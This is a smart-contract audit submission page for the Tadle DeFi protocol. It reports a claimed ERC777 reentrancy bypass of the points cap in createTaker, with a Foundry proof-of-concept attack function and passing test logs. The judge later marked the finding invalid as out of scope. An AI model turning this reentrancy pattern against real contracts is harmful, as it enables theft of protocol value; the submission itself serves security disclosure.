Tadle

Tadle
DeFi
30,000 USDC
View results
Submission Details
Severity: high
Invalid

Points Cap Security mechanism can be bypassed in createTaker Function.

Summary

Sponsor confirms that any Token compatible with ERC20 will be accepted in protocol

ERC20 (any token that follows the ERC20 standard)

CreateTaker function contains an issue which allows a taker to bypass the points cap security check.
This bypass is possible when using ERC777 Tokens, its unique features can be exploited to bypass the points validation,
leading to potential abuse of the protocol's points system.

Vulnerability Details

The createTaker function in the protocol is designed to take an offer address and a points value as parameters.
The function checks that the points being used do not exceed the total points available in the offer by using
the following condition:

link: https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/PreMarkets.sol#L180-L186

@>>> if (offerInfo.points < _points + offerInfo.usedPoints) {
revert NotEnoughPoints(offerInfo.points, offerInfo.usedPoints, _points);
}

POC:

uint256 collateralRate = 10000;
// @notice first offer with offerId: 0
address offerAddr1;
function createOffer_Test(uint256 amount, uint256 points) public {
// console.log(marketPlace, address(mockUSDCToken), address(this));
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
points,
amount,
collateralRate,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
}
function test_Points() public {
// @notice approve tokenManager to spent tokens.
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
// @notice first offer with offerId: 0
offerAddr1 = GenerateAddress.generateOfferAddress(0);
@>>> // createOffer with 1000 points.
@>>> createOffer_Test(1000, 1000);
preMarktes.createTaker(offerAddr1, 1000);
}
uint256 reentrancyBreakLoop;
function reentrancyAttack() public payable {
if(reentrancyBreakLoop == 0) {
reentrancyBreakLoop = 1;
@>>> // This reentrancy createTaker.
@>>> preMarktes.createTaker(offerAddr1, 500);
console.log("[:: ERC777 Executed ::]");
}
}
function createTaker(address _offer, uint256 _points) external payable {
// ...
if (offerInfo.points < _points + offerInfo.usedPoints) {
revert NotEnoughPoints(offerInfo.points, offerInfo.usedPoints, _points);
}
// ...
ITokenManager tokenManager = tadleFactory.getTokenManager();
_depositTokenWhenCreateTaker(
platformFee,
depositAmount,
tradeTax,
makerInfo,
offerInfo,
tokenManager
);
{
@>>> // Mock ERC777 hook call when using _depositTokenWhenCreateTaker.
(bool s,) = address(msg.sender).call(abi.encodeWithSignature("reentrancyAttack()"));
require(s, "Failed...");
}
@>>> offerInfo.usedPoints = offerInfo.usedPoints + _points;
@>>> console.log("Used Points:", offerInfo.usedPoints);
// ...
}

NOTE: as we see we created offer with 1000 points but we got 1500 because of reentrancy.

Ran 1 test for test/PreMarkets.t.sol:PreMarketsTest
[PASS] test_Points() (gas: 944671)
Logs:
Used Points: 500
[:: ERC777 Executed ::]
Used Points: 1500
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.42ms (1.67ms CPU time)

Specifically, when an ERC777 token is used, the above check becomes ineffective, allowing a taker to claim more points than the offer has allocated, potentially leading to a depletion of the offer's points balance or unauthorized access to additional rewards.

Impact

A malicious actor can bypass very impotent check mechanism to get points more than it should be.

Recommendations

Use Reentrancy Guard to prevent reentrancy.

Updates

Lead Judging Commences

0xnevi Lead Judge
10 months ago
0xnevi Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.